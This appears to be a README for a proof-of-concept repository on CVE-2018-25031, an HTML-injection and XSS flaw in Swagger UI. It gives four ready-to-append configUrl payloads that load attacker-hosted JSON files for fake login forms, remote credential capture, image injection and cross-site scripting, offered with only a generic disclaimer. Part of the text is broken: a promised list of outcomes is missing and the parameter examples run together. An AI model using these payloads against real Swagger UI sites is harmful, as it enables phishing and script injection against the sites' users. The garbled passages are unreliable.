
Swagger UI (CVE-2018-25031) POC, [HTMLi, XSS].
Swagger UI is a widely used library that renders OpenAPI (formerly Swagger) specifications into an interactive web interface. It enables developers and integrators to explore and test APIs without having the backend implementation in place.
The vulnerability stems from insufficient validation of URL query parameters used to load remote configuration or specification files by the Swagger UI client. Common parameters involved are:
?url=.yaml?configUrl=.jsonAn attacker can point these parameters at an attacker‑controlled OpenAPI definition or configuration file hosted remotely, which may be rendered by a vulnerable instance.
Loading a malicious remote file can enable several high‑impact outcomes depending on hosting configuration and safeguards in place:
References:
?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/login.json
?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/remote-login.json
?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/img.json
?configUrl=https://raw.githubusercontent.com/relichunt3r/swagger-ui/refs/heads/main/xss.json
The content in this repository is provided for educational and informational purposes only. The author is not responsible for any misuse. Ensure you have proper authorization before use, act responsibly at your own risk, and follow all legal and ethical guidelines.